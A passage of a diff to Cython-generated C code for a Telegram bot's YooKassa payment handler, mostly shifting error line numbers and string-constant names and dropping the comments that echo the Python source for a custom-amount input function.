__PYX_ERR(0, 254, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_connect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_DATABASE_URL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_DATABASE_URL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; __pyx_t_5 = 0; @@ -8826,7 +8210,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 254, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -8841,69 +8225,41 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 254, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 265, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 254, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_conn = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":255 - * async def process_custom_amount_input(callback_query: types.CallbackQuery | types.Message, session: Any): - * conn = await asyncpg.connect(DATABASE_URL) - * try: # <<<<<<<<<<<<<< - * if isinstance(callback_query, types.CallbackQuery): - * tg_id = callback_query.message.chat.id - */ /*try:*/ { - /* "handlers/payments/yookassa_pay.py":256 - * conn = await asyncpg.connect(DATABASE_URL) - * try: - * if isinstance(callback_query, types.CallbackQuery): # <<<<<<<<<<<<<< - * tg_id = callback_query.message.chat.id - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 256, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_3); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 256, __pyx_L6_error) + __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_3); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { - /* "handlers/payments/yookassa_pay.py":257 - * try: - * if isinstance(callback_query, types.CallbackQuery): - * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< - * - * user_data = await get_temporary_data(conn, tg_id) - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 268, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 257, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 268, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 268, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":259 - * tg_id = callback_query.message.chat.id - * - * user_data = await get_temporary_data(conn, tg_id) # <<<<<<<<<<<<<< - * if not user_data: - * await callback_query.message.answer(" . .") - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_temporary_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_temporary_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 270, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -8923,7 +8279,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_conn, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 259, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8938,38 +8294,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L9_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 259, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 270, __pyx_L6_error) __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); } else { __pyx_t_3 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 259, __pyx_L6_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 270, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); } __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_user_data = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":260 - * - * user_data = await get_temporary_data(conn, tg_id) - * if not user_data: # <<<<<<<<<<<<<< - * await callback_query.message.answer(" . .") - * return - */ - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_user_data); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 260, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_user_data); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 271, __pyx_L6_error) __pyx_t_7 = (!__pyx_t_6); if (__pyx_t_7) { - /* "handlers/payments/yookassa_pay.py":261 - * user_data = await get_temporary_data(conn, tg_id) - * if not user_data: - * await callback_query.message.answer(" . .") # <<<<<<<<<<<<<< - * return - * - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 261, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 272, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 261, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 272, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -8987,10 +8329,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__18}; + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u__21}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 261, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 272, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -9005,80 +8347,45 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L11_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 261, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 272, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 261, __pyx_L6_error) + else __PYX_ERR(0, 272, __pyx_L6_error) } } - /* "handlers/payments/yookassa_pay.py":262 - * if not user_data: - * await callback_query.message.answer(" . .") - * return # <<<<<<<<<<<<<< - * - * state_type = user_data["state"] - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L5_return; - /* "handlers/payments/yookassa_pay.py":260 - * - * user_data = await get_temporary_data(conn, tg_id) - * if not user_data: # <<<<<<<<<<<<<< - * await callback_query.message.answer(" . .") - * return - */ } - /* "handlers/payments/yookassa_pay.py":264 - * return - * - * state_type = user_data["state"] # <<<<<<<<<<<<<< - * - * if state_type not in ["waiting_for_payment", "waiting_for_renewal_payment"]: - */ - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 264, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 275, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_state_type = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":266 - * state_type = user_data["state"] - * - * if state_type not in ["waiting_for_payment", "waiting_for_renewal_payment"]: # <<<<<<<<<<<<<< - * await callback_query.message.answer(" . .") - * return - */ __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state_type); __pyx_t_3 = __pyx_cur_scope->__pyx_v_state_type; - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 266, __pyx_L6_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 277, __pyx_L6_error) if (__pyx_t_6) { } else { __pyx_t_7 = __pyx_t_6; goto __pyx_L13_bool_binop_done; } - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_renewal_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 266, __pyx_L6_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_waiting_for_renewal_payment, Py_NE)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 277, __pyx_L6_error) __pyx_t_7 = __pyx_t_6; __pyx_L13_bool_binop_done:; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __pyx_t_7; if (__pyx_t_6) { - /* "handlers/payments/yookassa_pay.py":267 - * - * if state_type not in ["waiting_for_payment", "waiting_for_renewal_payment"]: - * await callback_query.message.answer(" . .") # <<<<<<<<<<<<<< - * return - * - */ - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 267, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 267, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 278, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -9096,10 +8403,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__18}; + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__21}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -9114,106 +8421,57 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 267, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 278, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 267, __pyx_L6_error) + else __PYX_ERR(0, 278, __pyx_L6_error) } } - /* "handlers/payments/yookassa_pay.py":268 - * if state_type not in ["waiting_for_payment", "waiting_for_renewal_payment"]: - * await callback_query.message.answer(" . .") - * return # <<<<<<<<<<<<<< - * - * amount = user_data["data"].get("required_amount", 0) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L5_return; - /* "handlers/payments/yookassa_pay.py":266 - * state_type = user_data["state"] - * - * if state_type not in ["waiting_for_payment", "waiting_for_renewal_payment"]: # <<<<<<<<<<<<<< - * await callback_query.message.answer(" . .") - * return - */ } - /* "handlers/payments/yookassa_pay.py":270 - * return - * - * amount = user_data["data"].get("required_amount", 0) # <<<<<<<<<<<<<< - * - * elif isinstance(callback_query, types.Message): - */ - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_user_data, __pyx_n_u_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 270, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 281, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__19, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 270, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__22, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":256 - * conn = await asyncpg.connect(DATABASE_URL) - * try: - * if isinstance(callback_query, types.CallbackQuery): # <<<<<<<<<<<<<< - * tg_id = callback_query.message.chat.id - * - */ goto __pyx_L8; } - /* "handlers/payments/yookassa_pay.py":272 - * amount = user_data["data"].get("required_amount", 0) - * - * elif isinstance(callback_query, types.Message): # <<<<<<<<<<<<<< - * tg_id = callback_query.chat.id - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 272, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 283, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 272, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 283, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_1); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 272, __pyx_L6_error) + __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_1); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 283, __pyx_L6_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { - /* "handlers/payments/yookassa_pay.py":273 - * - * elif isinstance(callback_query, types.Message): - * tg_id = callback_query.chat.id # <<<<<<<<<<<<<< - * - * if callback_query.text.isdigit(): - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 273, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 284, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 273, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 284, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":275 - * tg_id = callback_query.chat.id - * - * if callback_query.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(callback_query.text) - * else: - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 275, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 286, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 275, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 286, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -9234,49 +8492,28 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 275, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 286, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 275, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 286, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { - /* "handlers/payments/yookassa_pay.py":276 - * - * if callback_query.text.isdigit(): - * amount = int(callback_query.text) # <<<<<<<<<<<<<< - * else: - * await _send_message(callback_query, " . , .") - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 276, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 276, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 287, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_amount = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":275 - * tg_id = callback_query.chat.id - * - * if callback_query.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(callback_query.text) - * else: - */ goto __pyx_L16; } - /* "handlers/payments/yookassa_pay.py":278 - * amount = int(callback_query.text) - * else: - * await _send_message(callback_query, " . , .") # <<<<<<<<<<<<<< - * return - * else: - */ /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 289, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -9293,10 +8530,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__20}; + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__23}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 289, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -9311,47 +8548,26 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 5; return __pyx_r; __pyx_L17_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 278, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 289, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 278, __pyx_L6_error) + else __PYX_ERR(0, 289, __pyx_L6_error) } } - /* "handlers/payments/yookassa_pay.py":279 - * else: - * await _send_message(callback_query, " . , .") - * return # <<<<<<<<<<<<<< - * else: - * await _send_message(callback_query, " .") - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L5_return; } __pyx_L16:; - /* "handlers/payments/yookassa_pay.py":272 - * amount = user_data["data"].get("required_amount", 0) - * - * elif isinstance(callback_query, types.Message): # <<<<<<<<<<<<<< - * tg_id = callback_query.chat.id - * - */ goto __pyx_L8; } - /* "handlers/payments/yookassa_pay.py":281 - * return - * else: - * await _send_message(callback_query, " .") # <<<<<<<<<<<<<< - * return - * - */ /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -9368,10 +8584,10 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__21}; + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_callback_query, __pyx_kp_u__24}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 